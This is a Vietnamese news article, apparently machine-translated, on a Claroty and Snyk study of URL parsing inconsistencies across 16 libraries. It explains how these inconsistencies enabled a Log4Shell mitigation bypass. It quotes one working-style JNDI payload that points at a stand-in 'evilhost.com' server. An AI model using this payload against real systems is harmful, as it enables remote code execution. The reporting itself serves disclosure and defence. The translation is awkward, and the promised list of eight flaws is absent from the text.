Một nghiên cứu về 16 thư viện phân tích cú pháp Uniform Resource Locator (URL) khác nhau đã phát hiện ra những mâu thuẫn và nhầm lẫn có thể bị lợi dụng để bỏ qua xác thực và mở ra cánh cửa cho một loạt các vectơ tấn công.
Trong một phân tích sâu do các công ty an ninh mạng Claroty và Synk đồng thực hiện, tám lỗ hổng bảo mật đã được xác định trong nhiều thư viện của bên thứ ba được viết bằng ngôn ngữ C, JavaScript, PHP, Python và Ruby và được một số ứng dụng web sử dụng.
“Sự nhầm lẫn trong phân tích cú pháp URL có thể gây ra hành vi không mong muốn trong phần mềm (ví dụ: ứng dụng web) và có thể bị các tác nhân đe dọa lợi dụng để gây ra các điều kiện từ chối dịch vụ, rò rỉ thông tin hoặc có thể tiến hành các cuộc tấn công thực thi mã từ xa”, các nhà nghiên cứu cho biết trong một báo cáo được chia sẻ với The Hacker News.
Với việc URL là một cơ chế cơ bản mà các tài nguyên – được đặt tại địa phương hoặc trên web – có thể được yêu cầu và truy xuất, sự khác biệt về cách các thư viện phân tích cú pháp diễn giải một yêu cầu URL có thể gây ra rủi ro đáng kể cho người dùng.
Một trường hợp điển hình là lỗ hổng log4shell quan trọng được tiết lộ vào tháng trước trong khung ghi nhật ký Log4j phổ biến, xuất phát từ thực tế là một chuỗi độc hại do kẻ tấn công kiểm soát, khi được đánh giá là và khi nó được ghi lại bởi một ứng dụng dễ bị tấn công, dẫn đến tra cứu JNDI kết nối với máy chủ do đối thủ điều hành và thực thi mã Java tùy ý.
Mặc dù Apache Software Foundation (ASF) đã nhanh chóng đưa ra một bản sửa lỗi để giải quyết điểm yếu này, nó đã sớm xuất hiện rằng các biện pháp giảm nhẹ có thể được vượt qua bằng một đầu vào được chế tạo đặc biệt ở định dạng “$ {jndi: ldap: //127.0.0[.]1 # .evilhost.com: 1389 / a} “một lần nữa cho phép tra cứu JNDI từ xa để thực thi mã.
“Việc bỏ qua này xuất phát từ thực tế là hai trình phân tích cú pháp URL (!) Khác nhau đã được sử dụng trong quá trình tra cứu JNDI, một trình phân tích cú pháp để xác thực URL và một trình phân tích cú pháp khác để tìm nạp nó và tùy thuộc vào cách mỗi trình phân tích cú pháp xử lý phần Fragment (#) của URL, Cơ quan cũng thay đổi, “các nhà nghiên cứu cho biết.
Cụ thể, nếu đầu vào được coi là một URL HTTP thông thường, thì thành phần Authority – sự kết hợp của tên miền và số cổng – kết thúc khi gặp mã nhận dạng phân đoạn, trong khi đó, khi được coi là URL LDAP, trình phân tích cú pháp sẽ chỉ định toàn bộ “127.0.0[.]1 # .evilhost.com: 1389 “với tư cách là Cơ quan vì đặc tả URL LDP không giải thích cho phân đoạn.
Thật vậy, việc sử dụng nhiều trình phân tích cú pháp nổi lên như một trong hai lý do chính khiến tám lỗ hổng được phát hiện, lý do còn lại là các vấn đề phát sinh từ sự mâu thuẫn khi các thư viện tuân theo các đặc tả URL khác nhau, tạo ra một lỗ hổng có thể khai thác một cách hiệu quả.
Sự bất hòa có thể do nhầm lẫn liên quan đến các URL chứa dấu gạch chéo ngược (“”), số lượng dấu gạch chéo không đều (ví dụ: https: ///www.example[.]com), hoặc dữ liệu được mã hóa URL (“%”) cho các URL có lược đồ URL bị thiếu, có thể bị lợi dụng để thực thi mã từ xa hoặc thậm chí cả các cuộc tấn công lừa đảo từ chối hoặc dịch vụ theo giai đoạn (DoS) và chuyển hướng mở.
Danh sách tám lỗ hổng được phát hiện như sau, tất cả đều đã được giải quyết bởi các nhà bảo trì tương ứng –
Các nhà nghiên cứu cho biết: “Nhiều kịch bản tấn công trong đời thực có thể nảy sinh từ các nguyên nhân phân tích cú pháp khác nhau. Để bảo vệ các ứng dụng khỏi các lỗ hổng phân tích cú pháp URL, “cần phải hiểu đầy đủ trình phân tích cú pháp nào tham gia vào toàn bộ quá trình [and] sự khác biệt giữa các trình phân tích cú pháp, có thể là sự khoan dung của chúng, cách chúng diễn giải các URL không đúng định dạng khác nhau và loại URL nào chúng hỗ trợ. “
.
